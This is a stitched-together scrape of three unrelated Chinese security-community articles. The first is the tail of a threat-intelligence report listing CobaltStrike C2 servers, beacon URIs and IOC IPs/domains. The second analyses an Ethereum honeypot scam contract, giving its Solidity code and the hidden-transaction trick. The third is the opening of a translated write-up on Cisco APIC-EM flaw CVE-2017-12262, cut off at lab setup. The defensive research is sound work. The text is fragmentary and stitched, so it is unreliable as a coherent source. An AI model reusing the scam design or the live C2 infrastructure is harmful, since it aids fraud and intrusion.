-> raniyev.com,/RELEASE.html,movufa.com,/styles.html -> 1
23.82.140.186:443 -> yazorac.com,/us.css -> 18
-> yazorac.com,/ms.css -> 18
209.222.98.75:443 -> wuluxo.com,/as.css -> 2
209.222.98.168:443 -> lozobo.com,/posting -> 2
172.93.201.14:443 -> nihahi.com,/modcp.css,yedawu.com,/modcp.css -> 9
-> nihahi.com,/html.css,yedawu.com,/modcp.css -> 9
199.127.61.167:443 -> winohak.com,/common -> 104
108.62.118.51:443 -> barovur.com,/eo.html -> 2
23.106.160.144:443 -> raniyev.com,/styles.html,movufa.com,/styles.html -> 1
-> raniyev.com,/RELEASE.html,movufa.com,/styles.html -> 1
108.177.235.115:443 -> buremih.com,/styles.html -> 2
172.93.105.2:443 -> hetamuf.com,/mobile-home.js,hepide.com,/link.js -> 1
-> hetamuf.com,/link.js,hepide.com,/link.js -> 1
103.195.101.98:443 -> jafiha.com,/FAQ -> 1
-> jafiha.com,/skin -> 1
23.106.160.141:443 -> hejalij.com,/panel.js -> 2
104.194.11.248:443 -> hakakor.com,/logo.js -> 2
104.238.205.32:443 -> luherih.com,/lt -> 2
199.191.57.246:443 -> rivuha.com,/styles.html -> 1
-> rivuha.com,/link.html -> 1
104.243.33.221:443 -> xoxalab.com,/d_config.js,bucejay.com,/d_config.js -> 1
-> xoxalab.com,/link.js,bucejay.com,/link.js -> 1
104.243.34.58:443 -> hakenu.com,/eso.js -> 1
-> hakenu.com,/en.js -> 1
192.111.146.22:443 -> dahefu.com,/Content.html -> 1
-> dahefu.com,/posting.html -> 1
23.106.215.64:443 -> rivuha.com,/styles.html -> 1
-> rivuha.com,/link.html -> 1
23.108.57.15:443 -> pipipub.com,/admin -> 2
23.82.140.227:443 -> scalewa.com,/sm.html -> 34
23.106.215.141:443 -> maloxob.com,/admin.css -> 2
104.238.222.148:443 -> mebonux.com,/modcp.html -> 2
104.171.117.58:443 -> barovur.com,/eo.html -> 2
108.62.118.63:443 -> dirupun.com,/RELEASE_NOTES -> 2
209.222.98.14:443 -> xivuli.com,/nd.js -> 2
108.62.141.174:443 -> keholus.com,/ee -> 1
-> keholus.com,/Content -> 1
152.89.247.37:443 -> pobosa.com,/mk.js,racijo.com,/mk.js -> 2
142.234.157.105:443 -> zokotej.com,/mobile-android -> 1
-> zokotej.com,/tab_home_active -> 1
23.106.160.163:443 -> hexihan.com,/panel.html,vojefe.com,/btn_bg.html -> 2
192.254.76.78:443 -> capuxix.com,/media.css -> 96
104.194.11.107:443 -> zuveye.com,/default -> 2
103.195.103.171:443 -> zedoxuf.com,/links.html -> 2
104.171.125.14:443 -> moduwoj.com,/panel -> 1
-> moduwoj.com,/btn_bg -> 1
199.127.61.113:443 -> dirupun.com,/RELEASE_NOTES -> 2
173.234.155.101:443 -> hakenu.com,/eso.js -> 1
-> hakenu.com,/en.js -> 1
104.194.9.236:443 -> zosohev.com,/cr -> 2
23.92.222.170:443 -> roxiya.com,/FAQ -> 2
23.82.128.16:443 -> jesage.com,/profile,nefida.com,/profile -> 1
-> jesage.com,/profile,nefida.com,/ur -> 1
23.83.134.44:443 -> roxiya.com,/FAQ -> 2
152.89.247.172:443 -> fonazax.com,/kj -> 2
108.62.141.155:443 -> damacat.com,/styles -> 1
-> damacat.com,/logo -> 1
206.221.176.220:443 -> sidevot.com,/nd.html -> 2
23.82.19.204:443 -> comecal.com,/ml.js,rexagi.com,/ml.js -> 2
104.194.9.51:443 -> nemupim.com,/FAQ.html,sulezo.com,/r_config.html -> 1
-> nemupim.com,/r_config.html,sulezo.com,/r_config.html -> 1
104.194.10.21:443 -> dodefoh.com,/tab_shop_active,joxinu.com,/tab_shop_active -> 1
-> dodefoh.com,/tab_shop_active,joxinu.com,/ce -> 1
108.62.141.82:443 -> pobosa.com,/mk.js,racijo.com,/mk.js -> 2
108.62.118.29:443 -> derotin.com,/Content.html -> 2
142.234.157.125:443 -> lajipil.com,/lt.js -> 2
104.194.9.228:443 -> cuyuzah.com,/tab_home_active.css -> 1
104.194.9.101:443 -> xesoxaf.com,/remove.js -> 1
23.106.215.61:443 -> gojihu.com,/fam_cart.js,yuxicu.com,/fam_cart.js -> 2
104.171.122.198:443 -> hesovaw.com,/tab_shop_active.js -> 2
23.82.19.133:443 -> pazovet.com,/dhl.js -> 1
108.62.118.185:443 -> wuluxo.com,/as.css -> 2
45.126.211.2:443 -> bideluw.com,/af,hubojo.com,/af -> 2
172.96.143.218:443 -> jenupe.com,/templates.js -> 2
45.138.172.37:443 -> rasokuc.com,/bn.js -> 2
23.82.19.187:443 -> buloxo.com,/modcp.js -> 2
185.150.189.202:443 -> pofifa.com,/ki -> 1
-> pofifa.com,/Content -> 1
192.254.65.154:443 -> refebi.com,/bg -> 1
-> refebi.com,/faq -> 1
74.118.138.162:443 -> pavateg.com,/btn_bg -> 1
23.106.215.46:443 -> hexihan.com,/panel.html,vojefe.com,/btn_bg.html -> 2
173.234.155.82:443 -> lozobo.com,/posting -> 2
45.147.229.242:443 -> dodefoh.com,/hr.html,joxinu.com,/ml.html -> 1
-> dodefoh.com,/ml.html,joxinu.com,/hr.html -> 1
199.127.62.132:443 -> keholus.com,/ee -> 1
-> keholus.com,/Content -> 1
185.150.190.244:443 -> paxobuy.com,/eso -> 2
108.62.12.246:443 -> xisiyi.com,/gv -> 2
104.194.10.26:443 -> hiwiko.com,/r_config.html -> 1
-> hiwiko.com,/styles.html -> 1
23.82.140.102:443 -> badiwaw.com,/btn_bg -> 1
23.82.19.173:443 -> gojihu.com,/fam_cart.js,yuxicu.com,/fam_cart.js -> 2
199.127.61.201:443 -> yiyuro.com,/nl.js -> 2
192.198.88.110:443 -> dihata.com,/search.js -> 2
185.150.190.45:443 -> tamunar.com,/boxes -> 1
-> tamunar.com,/links -> 1
108.62.141.200:443 -> nemupim.com,/FAQ.html,sulezo.com,/r_config.html -> 1
104.243.32.108:443 -> hulixo.com,/ky -> 1
-> hulixo.com,/rn -> 1
104.194.10.3:443 -> bucudiy.com,/profile -> 1
199.127.60.15:443 -> fepaza.com,/sq.css -> 1
-> fepaza.com,/rw.css -> 1
104.243.34.57:443 -> yeruje.com,/es -> 2
23.106.160.78:443 -> sidevot.com,/nd.html -> 2
45.153.241.250:443 -> cubigif.com,/jp.html -> 1
-> cubigif.com,/fam_newspaper.html -> 1
104.243.40.170:443 -> kidukes.com,/as -> 1
-> kidukes.com,/br -> 1
23.106.223.116:443 -> koxiga.com,/xmlconnect -> 2
185.150.190.154:443 -> badiwaw.com,/link -> 1
-> badiwaw.com,/btn_bg -> 1
23.106.223.182:443 -> hulixo.com,/ky -> 1
-> hulixo.com,/rn -> 1
108.62.118.121:443 -> zuveye.com,/default -> 2
45.58.127.226:443 -> mezugen.com,/remove,zuwevex.com,/remove -> 2
23.81.246.189:443 -> nemupim.com,/FAQ.html,sulezo.com,/r_config.html -> 1
-> nemupim.com,/r_config.html,sulezo.com,/r_config.html -> 1
23.83.133.29:443 -> wiwege.com,/tab_home -> 2
54.158.194.151:443 -> yeyidun.com,/an -> 1
23.81.246.20:443 -> yipeyic.com,/adminhtml.css -> 2
23.108.57.130:443 -> hesovaw.com,/tab_shop_active.js -> 2
74.118.138.209:443 -> cuyuzah.com,/tab_home_active.css -> 2
104.243.43.207:443 -> fonazax.com,/kj -> 1
173.234.155.146:443 -> nagiwo.com,/ny,howeyoh.com,/ky -> 2
108.62.118.236:443 -> paxobuy.com,/eso -> 2
104.243.33.7:443 -> wiwege.com,/tab_home -> 2
23.106.215.44:443 -> xesoxaf.com,/remove.js -> 1
-> xesoxaf.com,/sitemap.js -> 1
185.150.191.44:443 -> hacoyay.com,/be -> 2
142.234.157.160:443 -> wigeco.com,/cs -> 1
-> wigeco.com,/groupcp -> 1
23.82.128.104:443 -> zikojut.com,/ee.css -> 1
23.83.133.226:443 -> sexefo.com,/styles.html -> 2
23.81.246.131:443 -> bideluw.com,/af,hubojo.com,/af -> 2
192.111.144.150:443 -> damacat.com,/styles -> 1
-> damacat.com,/logo -> 1
104.194.11.148:443 -> rasokuc.com,/bn.js -> 2
45.147.229.161:443 -> rucajit.com,/language.html -> 2
45.147.229.93:443 -> tamunar.com,/boxes -> 1
-> tamunar.com,/links -> 1
209.222.98.111:443 -> sexefo.com,/styles.html -> 2
104.194.10.57:443 -> cubigif.com,/jp.html -> 1
-> cubigif.com,/fam_newspaper.html -> 1
45.153.241.251:443 -> luherih.com,/lt -> 2
185.150.191.35:443 -> zikojut.com,/ee.css -> 2
CobaltStrike Beacon 配置信息中的 Spawnto_x86 路径列表：
%windir%\syswow64\WUAUCLT.exe -> 2
%windir%\syswow64\mstsc.exe -> 34
%windir%\syswow64\rundll32.exe -> 18
%windir%\syswow64\runonce.exe -> 2
%windir%\syswow64\wusa.exe -> 104
那么到底这个组织是谁呢？随机我提取了那相对精准的319个结果的IP查询了下多家威胁情报平台，最终没找到已知的APT或者黑产组织，更多的都只是标记为CobaltStrike，于是我们又查询
CobaltStrike Beacon 配置信息中的C2 Server 域名，通过奇安信威胁情报匹配到waceko.com
属于TA551的记录，随后结合vt平台等人工分析最终得到如下结论：
IP: www.waceko.com，waceko.com）可能跟TA551有关[1]
IP: 172.241.27.70 疑似UNC1878有关 （VT记录有样本名称有UNC1878，相关性较弱）
我们回归ZoomEye搜索：
waceko.com 对应2个IP：45.147.231.12 89.163.140.101 都位于德国, 法兰克福，运营商：combahton.net ，Spawnto_x86: %windir%\syswow64\wusa.exe
172.241.27.70 美国, 达拉斯 运营商：leaseweb.com 证书subject为scalewa.com， C2 Server: scalewa.com,/sm.html ，Spawnto_x86 %windir%\syswow64\wusa.exe
这里要注意到一点是waceko.com对应的IP位于德国，运营商跟实际攻击使用的IP是一样的，只是Spawnto_x86对应的路径不一致。
当然从攻击者使用的法律纠纷等方式，没有看到针对性政治相关的信息，再结合IP及域名的使用风格，目前我个人趋向是黑产组织使用！只是按以往的经验Word级别的0Day被用于常规的黑产是有点不太寻常，这里有几个偏YY的推断：
1. 不排除与黑产结合的APT攻击运营模式
2. 被低估的0day：
<https://www.bleepingcomputer.com/news/microsoft/windows-mshtml-zero-day-defenses-bypassed-as-new-info-emerges/>
从这个的报道里有提到需要点击“编辑”才能触发，如果原始攻击的exp确实存在这个问题话，很可能当时这个漏洞被严重低估而流落到黑产组织可能，随后样本被公开后，多个研究者研究证实不需要这个点击可直接触发。
比较有意思的是这个漏洞被曝光后，有国外及国内的朋友翻出了我10年前写的文章：
https://seclists.org/fulldisclosure/2011/Jan/224
Hacking with mhtml protocol handler
Author: www.80vul.com[2] [Email:5up3rh3i#gmail.com] Release Date: 2011/1/15 References: http://www.80vul.com/mhtml/Hacking%20with%20mhtml%20protocol%20handler.txt
可惜10年过去了，早已物是人非了，80vul.com的域名也被运营商给卖了，主机硬盘不知道猪猪侠那还有没有保存！当然我是想再次告诉大家的是：考古真的是有价值的！真的！真真的！
鸣谢：海先生@奇安信、林海@微步在线、dawu@知道创宇404实验室、k@知道创宇NDR产品团队及ZoomEye团队小伙
IOCs：
C2 IP/Domain
23.106.215.137
104.238.205.63
45.147.230.64
199.127.61.95
74.118.138.125
74.118.138.123
192.198.86.130
23.19.227.178
23.82.140.162
23.82.19.130
104.238.221.50
172.241.27.70
23.106.223.184
23.92.210.210
206.221.185.106
192.254.79.154
23.106.160.218
23.108.57.230
199.101.185.62
192.169.6.73
172.98.201.38
108.62.141.121
192.198.89.242
23.82.19.219
45.147.231.12
213.227.155.7
172.241.29.110
23.83.133.14
23.106.160.151
199.241.187.138
74.118.138.254
23.108.57.39
108.62.141.7
74.118.138.160
204.16.247.171
23.81.246.18
108.177.235.13
209.222.98.79
104.171.121.174
192.198.92.246
74.118.138.139
23.106.160.40
199.191.57.222
45.128.156.177
23.92.212.54
209.222.98.225
104.243.33.123
108.62.141.5
23.92.216.30
172.241.27.145
206.221.176.103
172.93.105.162
172.98.197.30
192.198.85.182
23.81.246.247
23.108.57.186
192.198.89.58
104.243.37.143
23.106.160.95
103.195.100.2
104.254.62.100
64.187.238.138
173.234.155.124
104.194.10.22
209.222.101.221
199.101.185.58
23.82.140.223
23.106.160.77
74.118.138.249
23.81.246.113
23.106.215.209
23.106.160.143
45.147.230.71
23.81.246.102
172.241.27.22
192.254.65.202
23.82.185.104
185.150.190.153
23.106.215.45
199.241.184.2
160.202.65.114
23.106.160.231
209.222.104.194
74.118.138.207
104.244.156.18
209.222.101.242
104.194.9.113
209.222.104.194
64.187.238.58
192.111.144.6
108.62.118.193
108.62.12.190
23.83.133.187
192.254.76.214
23.83.134.212
192.198.93.86
23.108.57.50
192.254.78.106
209.222.98.33
104.194.11.92
199.101.184.190
173.234.155.86
104.194.8.13
23.106.160.22
23.19.227.247
104.194.8.13
108.62.12.114
45.147.231.98
172.97.71.156
23.82.140.156
23.82.185.122
104.194.10.206
45.147.230.84
172.96.172.218
23.108.57.23
107.161.114.226
74.118.138.237
206.221.176.171
192.198.81.46
108.62.141.55
206.221.184.130
204.16.247.104
23.19.227.8
199.191.56.170
108.177.235.212
23.81.246.177
173.234.155.98
104.194.11.118
192.111.149.58
107.161.114.226
185.150.190.54
104.254.57.126
23.106.160.51
160.202.116.42
45.147.230.80
23.106.160.136
104.243.34.210
74.118.138.253
23.106.223.49
104.243.42.31
104.238.221.213
209.222.101.21
23.106.215.71
104.194.10.22
23.106.223.110
104.194.10.33
172.96.143.178
108.62.12.100
108.62.118.15
23.81.246.206
45.58.112.202
45.147.229.51
23.108.57.145
199.127.61.194
108.62.118.149
45.153.240.234
89.163.140.101
199.127.61.223
23.81.246.222
104.243.37.30
192.254.68.130
108.62.118.218
23.106.215.151
23.82.140.186
209.222.98.75
23.81.246.167
209.222.98.168
172.93.201.14
199.127.61.167
199.241.187.126
74.118.138.134
108.62.118.51
104.194.10.181
23.106.160.144
23.106.223.150
108.177.235.214
108.177.235.115
172.93.105.2
103.195.101.98
23.106.160.141
45.58.117.178
104.194.11.248
104.238.205.32
108.62.12.80
199.191.57.246
185.150.189.186
104.243.33.221
204.16.247.190
104.243.34.58
192.111.146.22
192.111.153.186
104.194.10.201
45.58.123.178
173.234.155.26
108.62.141.184
23.106.215.64
18.222.162.20
74.118.138.159
23.108.57.15
23.82.140.227
104.244.156.179
172.93.201.161
104.152.186.14
23.106.215.141
104.238.222.148
192.111.146.58
104.171.117.58
108.62.118.63
104.243.35.115
209.222.98.14
89.163.210.85
23.81.246.123
108.62.141.174
152.89.247.37
192.111.154.86
104.194.9.47
142.234.157.105
192.198.86.130
23.106.160.163
192.254.76.78
172.93.110.138
104.194.11.107
103.195.103.171
45.147.229.185
104.171.125.14
199.127.61.113
173.234.155.101
104.194.9.236
23.92.222.170
172.93.102.164
23.82.128.16
23.83.134.44
152.89.247.172
108.62.141.155
206.221.176.220
204.16.247.94
104.243.33.100
23.82.19.204
104.194.9.51
104.194.10.21
108.62.141.82
108.62.118.29
172.96.160.214
142.234.157.125
23.106.223.246
104.194.9.228
104.194.9.101
23.106.215.61
204.16.247.176
104.238.221.42
104.171.122.198
23.82.19.133
108.62.118.185
45.126.211.2
172.96.143.218
45.138.172.37
172.82.179.58
23.82.19.187
185.150.189.202
192.254.65.154
23.106.223.11
74.118.138.162
23.106.215.46
173.234.155.82
45.147.229.242
199.127.62.132
192.111.146.58
185.150.190.244
108.62.12.246
104.194.10.26
23.82.140.102
74.118.138.246
23.82.19.173
199.127.61.201
192.198.88.110
185.150.190.45
108.62.141.200
104.243.32.108
104.194.10.3
199.127.60.15
104.243.34.57
23.106.160.78
45.153.241.250
108.62.118.232
104.243.40.170
23.106.223.116
152.89.247.26
185.150.190.154
23.106.223.182
108.62.118.121
45.147.230.236
45.58.127.226
23.81.246.189
23.83.133.29
54.158.194.151
23.81.246.20
23.108.57.130
74.118.138.209
104.243.43.207
108.62.12.186
173.234.155.146
108.62.118.236
104.243.33.7
23.106.215.44
185.150.191.44
142.234.157.160
23.82.128.104
23.83.133.226
23.81.246.131
104.194.11.148
45.147.229.161
216.126.193.126
45.147.229.93
209.222.98.111
192.111.144.150
104.194.10.57
209.222.101.96
45.153.241.251
185.150.191.35
laputo.com
gohaduw.com
kidukes.com
scalewa.com
hacoyay.com
riolist.com
pilagop.com
zeheza.com
waceko.com
showero.com
koviluk.com
gerepa.com
pazovet.com
touchroof.com
mevepu.com
jinoso.com
kuyeguh.com
zedoxuf.com
yeyidun.com
showmod.com
koxiga.com
ganobaz.com
yawero.com
dihata.com
pigaji.com
hireja.com
hoguyum.com
bulozeb.com
yisimen.com
kelowuh.com
dapapev.com
xivuli.com
gimazic.com
tifiru.com
nokuje.com
wezaju.com
tucosu.com
raniyev.com
wudepen.com
wideri.com
lajipil.com
wukeyos.com
tepiwo.com
hakakor.com
pofafu.com
yazorac.com
wuluxo.com
lozobo.com
nihahi.com
winohak.com
barovur.com
buremih.com
hetamuf.com
jafiha.com
hejalij.com
luherih.com
rivuha.com
xoxalab.com
hakenu.com
dahefu.com
pipipub.com
maloxob.com
mebonux.com
dirupun.com
keholus.com
pobosa.com
zokotej.com
hexihan.com
capuxix.com
zuveye.com
moduwoj.com
zosohev.com
roxiya.com
jesage.com
fonazax.com
damacat.com
sidevot.com
comecal.com
nemupim.com
dodefoh.com
derotin.com
cuyuzah.com
xesoxaf.com
gojihu.com
hesovaw.com
bideluw.com
jenupe.com
rasokuc.com
buloxo.com
pofifa.com
refebi.com
pavateg.com
paxobuy.com
xisiyi.com
hiwiko.com
badiwaw.com
yiyuro.com
tamunar.com
hulixo.com
bucudiy.com
fepaza.com
yeruje.com
cubigif.com
mezugen.com
wiwege.com
yipeyic.com
nagiwo.com
wigeco.com
zikojut.com
sexefo.com
rucajit.com
* * * | 社区文章 |
作者：安比实验室
公众号：[安比实验室SECBIT](https://mp.weixin.qq.com/s/DGETYw0Kfc6cCkzLPSh1eQ
"安比实验室SECBIT")
安比(SECBIT)实验室近期发出预警，一种新型蜜罐(诈骗)合约正在泛滥，利用区块链浏览器的相关局限，设置陷阱欺骗游戏参与者，且诈骗目标多为具备一定区块链专业素养的人员。据安比(SECBIT)实验室统计数据显示，同类合约的数量高达48个，其中一个合约部署于
3 天前，已有玩家受骗的合约超过21份，累计骗取金额超过 25 ETH。
前几天，小安比从 p0n1 大神那里听说了一种新型的蜜罐(诈骗)合约，同类蜜罐合约竟有 48 个，而其中近一半的合约已经成功骗取玩家的 ETH，据说连
QSP 团队的安全大神 Martin Derka 也未能幸免。这不禁激发起了小安比浓浓的好奇心。
### 一、骗局缩影：安全专家被套路
Martin Derka 所参与的这个名为 QUESTION 的合约，是一款猜答案游戏合约。
合约地址：0xcEA86636608BaCB632DfD1606A0dC1728b625387
合约游戏的规则很简单：
* 合约创建者会设置一个问题;
* 任何玩家都可以通过向合约打入不低于 1ETH 的手续费参与作答;
* 若猜中答案，将得到合约里所有的 ETH 作为奖励;
* 若猜不中，无任何奖励，且事先支付的 ETH 会转入该合约
合约的巧妙设计会为高阶玩家埋下一些陷阱，让玩家自认为通过Etherscan中的交易数据可以获知答案，然后不声不响地就赚取ETH。而实际上恰恰是螳螂捕蝉、黄雀在后，合约创建者让你边窃喜边发现的答案是错误答案，技术帝们凭借其“机智”最终不仅赚不到合约中的ETH，还会赔光预先缴纳的手续费。
此外，根据QUESTION合约中的特殊权限设置，问题提出者可随时取走合约中的所有ETH。因此，上述玩家参与游戏时支付的ETH能被迅速提取和套利。
作为安比(SECBIT)实验室的资深砖家，接下来小安比将以 QUESTION 合约为例向大家讲解该类蜜罐合约的诈骗细节。
### 二、巧妙埋坑：游戏合约的设计
从 QUESTION 合约源码看，游戏创建者设置问题和答案，启动游戏，任何人皆可以玩家身份参与游戏，转入不低于1 ETH
的手续费猜答案，猜中者将收获合约中所有的 ETH，猜不中手续费自动打入合约地址。
合约源码中包含了五个接口，启动游戏，玩家猜答案，终止游戏，更新问题以及空的回落函数。
#### 启动游戏
由问题提出者启动游戏（`StartGame()`），设置问题和答案，传入的答案以哈希的形式保存在合约中。而游戏启动仅第一次操作有效。
function StartGame(string _question,string _response)
public
payable
{
if(responseHash==0x0)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}
#### 玩家猜答案
任何人都可以调用`Play()`接口，参与到游戏当中猜问题的答案，游戏玩家需要支付 1 ETH
以上的费用，否则即使猜中了也不会得到奖励；若玩家猜测失败，则无法获取任何奖励，并且支付的 ETH 也会转入合约中。最终猜中结果的玩家将得到合约中所有的
ETH 作为奖励。
function Play(string _response)
external
payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value>1 ether)
{
msg.sender.transfer(this.balance);
}
}
另外，问题发布者还具有另外两个权限，终止游戏和更新问题。
#### 终止游戏
问题提出者有权终止游戏（`StopGame()`）,但令小安比不解的是，终止游戏并非将游戏彻底终结，而是由问题提出者转出合约中的所有 ETH
，但是后续玩家依旧可以继续参与到游戏中。 **也就是说问题创建者可以随时取走合约中的所有 ETH ！！！**
function StopGame()
public
payable
{
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}
#### 更新问题
问题提出者可以将问题和答案换掉（NewQuestion()），玩家后续针对新的问题进行作答。小安比隐隐觉得哪里不对劲，忍不住拿起小本本，翻出了 ERC 20
Token 中的经典问题——reApproval[3]，果然如出一辙。
这是一个依赖交易顺序的漏洞，当一个玩家猜中了答案，并发起一笔交易来提交了正确的答案，该笔交易等待被打包。当问题提出者也同时提交一笔交易来更改问题，若更改问题的交易先被矿工打包，则玩家即使先猜中了答案也拿不到奖励。
function NewQuestion(string _question, bytes32 _responseHash)
public
payable
{
require(msg.sender==questionSender);
question = _question;
responseHash = _responseHash;
}
说到这，小安比突然发现，虽然都是传入问题和答案，但是`StartGame()` 和 `NewQuestion()`
接口传入的参数却有所区别。`StartGame()`
函数传入的第二个参数是问题答案的明文。然鹅，以太坊上接口调用的参数是可以查询到的！！！也就是说只要找到启动游戏的那笔交易，就可以找到问题的答案。小安比不禁露出了狡黠的笑容。
不过，在看完了 QSP
团队安全大神的文章后，瞬间感觉闪瞎小安比双眼，只能感叹自己还是太年轻呀。合约中那些特殊权限的隐患只是骗子的障眼法，原来套路才刚刚开始。接下来小安比将带领大家分析游戏的陷阱是如果设置的。
### 三、蜜罐陷阱:巧借 Etherscan 缺陷
由于 Etherscan 上仅涉及ETH转账或 Token
转账的交易，部分交易不会显示，合约创建者果断利用了这一特性来隐藏设置答案的交易，将假的答案暴露在Etherscan 上。让聪明且有心者误以为发现了问题答案。
首先，合约创建者先创建了一份中间合约， 然后再创建当前的游戏合约。
中间合约地址：0x4B2838d9326bD5126F0573D9b5c71C0626Ab28f2
游戏合约地址：0xcEA86636608BaCB632DfD1606A0dC1728b625387
然后，合约创建者向中间合约发起一笔交易，这笔交易使得中间合约向游戏合约发起两次调用。但是这两次调用在 Etherscan
的交易历史中都不会显示出来。但可以在交易的 Trace 中查看到，两次调用及其参数又可以通过合约的 ABI 解码得出。
从解码后的结果来看，第一次是调用了 `StartGame()` 接口，传入的参数，其中 `_question` 为 `Imagine you are
swimming in the sea and a bunch of hungry sharks surround you. How do you get
out alive?` , 答案为 `sZs`。第二次调用是 `NewQuestion()`
接口，更新了问题和答案，传入的问题与上一次调用一致，答案是一串小安比看不太懂的鬼东西。
也就是说到目前为止，游戏的问题和答案已经偷偷的设置完成了，而第二次调用的参数中的答案才是问题的真正答案。
随后，合约创建者又向游戏合约发起了一笔交易，调用 `StartGame()` 接口，也就是我们之前看到的那个答案 `Stop
Imagining`。而这笔调用实际上并没有起任何作用，也不是问题的答案，因此若将 `Stop Imagining` 作为问题的答案输入，结果必定是错误的。
小安比查阅了另一个区块链浏览器，也印证了该问题。
在Martin Derka 大神转入了 1.05 个 ETH 到 QUESTION 合约不久后，合约创建者立即终止合约，取走了合约中所有的
ETH，至此游戏提出者成功得骗走了ETH。
### 四、蜜罐调查：还有多少坑在等你？
安比（SECBIT）实验室智能合约风险监控平台显示，同类蜜罐合约高达 48 份，而其中已有玩家受骗的合约，竟有 21 份，受骗金额超过 25 ETH。
部分成功套取ETH的蜜罐合约地址：
0xFf45211eBdfc7EBCC458E584bcEc4EAC19d6A624_ENIGMA_GAME.sol
0xcEA86636608BaCB632DfD1606A0dC1728b625387_QUESTION.sol
0x70bf9Df6967Dc96156e76Cc43b928A7eF02E159a_X_GAME.sol
0x4a73D9fe078fA67601047F88C3e6C270602E5709_ETH_GAME.sol
0x3CAF97B4D97276d75185aaF1DCf3A2A8755AFe27_G_GAME.sol
0x8cc5d9de2c8df87f2d40d84aa78049ea6e61f973_GO_TO_PLAY.sol
0xC034CF94f7cEd9C968cC75210d1B5DdAccACFbf4_ANSWER_AND_RECIVE.sol
0xeD710216DA4B1416A78768790Ca9Aa3633Ca110f_PLAY_AND_GAIN.sol
0x1fBf025AD94ddE79f88732F79966A9A435F2772f_BLITZQUIZ.sol
该类蜜罐合约通常都在有玩家受骗后短时间内迅速结束套利，受骗群体较小，金额较少，不会造成大范围的影响，因此也比较容易被忽视。但值得注意的是，在这些同类合约中，有一份合约是
3
天前刚部署上线的（合约地址：0x3fAb284a3cD0A6d88d18D0fdA4bc1a76cdacd68A），目前尚未发现有玩家受骗，也就是说这种诈骗手段还在继续实施。
另外，由于合约中终止游戏接口的实际功能是使问题提出者取走合约中所有
ETH，并不是真正终止合约，也就是说，即使问题提出者成功套取利益，游戏也并没有真正结束，玩家还是有继续掉入合约陷阱中的风险。
小安比提醒各位 DApp 游戏爱好者提高警惕，切勿参与到以上合约的游戏中，也不要参与各种安全性不明的游戏合约。
### 五、蜜罐总结：币圈套路深
设计该类蜜罐合约需要一定的技术积累和对玩家心理的把握，而受骗者大部分都是具备一定专业知识的技术人员，而这些人员往往也更容易参与到DAPP游戏中。不得不说这届骗子很有水平啊，小安比摸了摸自己干瘪的钱包，虽然躲过了被割韭菜的命运，却很难躲得过骗子的套路！于是小安比决定从今以后多加学习，好好修炼内功，防止上当受骗。
安比（SECBIT）实验室提醒广大 DApp
游戏爱好者提高警惕，重视智能合约安全，切勿参与不明合约游戏。区块链浏览器作为一种工具，其产品特性存在着一定的针对性和局限性，因此实际应用中，我们不能完全依赖于某一款区块链浏览器所提供的数据。当然，各类区块链浏览器网站也应在用户界面上作出改进，尽可能降低被利用风险以及由此导致的用户损失。
作为一个爆发式增长的领域，智能合约技术和应用的革新离不开大量涌入的专业人员的贡献，但这其中也不免掺杂了诸多不和谐的因素，诸如本文所提到的合约以及不久前爆出的另一种蜜罐合约[4]。但小安比认为，任何一个领域的发展过程都会面临诸多挑战。也正因这些因素的存在，才促使行业不断寻找新的解决方案，促进技术和社区进步，整个过程需要包括安全团队在内的更多专业人士共同努力。
### 参考文献
[1] Exploiting the interface of Etherscan for Ethereum attacks
<https://medium.com/quantstamp/exploiting-the-interface-of-etherscan-for-ethereum-attacks-17b72d2897e0>
[2] 【得得预警】安全公司：新型DApp游戏诈骗“现形”，隐藏特定交易记录
<http://www.chaindd.com/nictation/3103191.html>
[3] ERC20 API: An Attack Vector on Approve/TransferFrom Methods
<https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit#heading=h.m9fhqynw2xvt>
[4] 警惕！Solidity缺陷易使合约状态失控
<https://mp.weixin.qq.com/s/xex9Eef6Hz5o24sX5vE1Yg>
* * * | 社区文章 |
# 如何通过外部接口访问APIC-EM的内部网络：CVE-2017-12262
##### 译文声明
本文是翻译文章，文章原作者 Georgi Geshev，文章来源：mwrinfosecurity.com
原文地址：<https://labs.mwrinfosecurity.com/blog/routing-101/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
应用策略基础设施控制器企业模块（Application Policy Infrastructure Controller Enterprise
Module， APIC-EM）是思科针对企业网络设计的SDN（软件定义网络）控制器，根据思科的说法，APIC-EM利用了许多非常先进的前沿技术，可以解决五花八门的问题。
_“（APIC-EM）提供了基于策略的自动化平台，可以简化并抽象网络相关信息，能够将业务意图转化为具体的网络控制流程。这个平台可以托管多个易于使用的SDN应用，这些应用提供了开放式REST（Representational
State Transfer，表述性状态传递）
API北向接口（即向上提供的接口），以推动网络自动化解决方案。该平台同样支持许多南向协议（即向下提供的协议），通过这些协议与客户已部署的网络设备进行通信，因此能够将SDN的优势拓展到全新网络或者已有一定基础的网络环境中。APIC-EM平台的目标是为下一代SDN应用提供支持，以大大降低运营成本，提高网络灵活性，以满足业务需求。”_
## 二、技术背景
思科APIC-EM实现了一种PaaS（Platform as a Service，平台即服务）环境，其中使用了Grapevine作为Elastic
Services平台，以支持控制器的基础架构及服务。这种解决方案由两种类型的系统组成，即Grapevine root（根）以及Grapevine
client（客户）。Grapevine root作为应用程序运行在某台主机上，使用了修改版的Ubuntu Linux作为操作系统，而Grapevine
client则位于LXC（Linux
containers，Linux容器）中。root负责处理与服务有关的所有策略管理事务，如服务更新、root及Grapevine
client的服务生命周期。Grapevine client运行在root系统之上，运行着平台支持的那些服务。
思科的APIC-EM需要配备两个网络才能正常工作。第一个为内部网，包含Grapevine
root以及client，这些root及client之间相互连接，可以相互通信。这个网络为隔离网络，外部网络无法路由到或者访问到这个网络。另一方面，APIC-EM通过外部网络接口提供了控制器的Web前端（GUI）访问界面以及REST API接口。
## 三、环境搭建
首先介绍一下如何搭建实验环境。我们所使用的产品版本为APIC-EM-1.4.3.1009。我们使用独立（standalone）模式来部署APIC-EM虚拟设备，并参考思科的官方文档进行配置。
APIC-EM虚拟机中包含一个外部NIC（网卡），其IP地址为`172.16.231.254/24`，具体信息如下：
$ ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:39:ba:b7
inet addr:172.16.231.254 Bcast:172.16.231.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
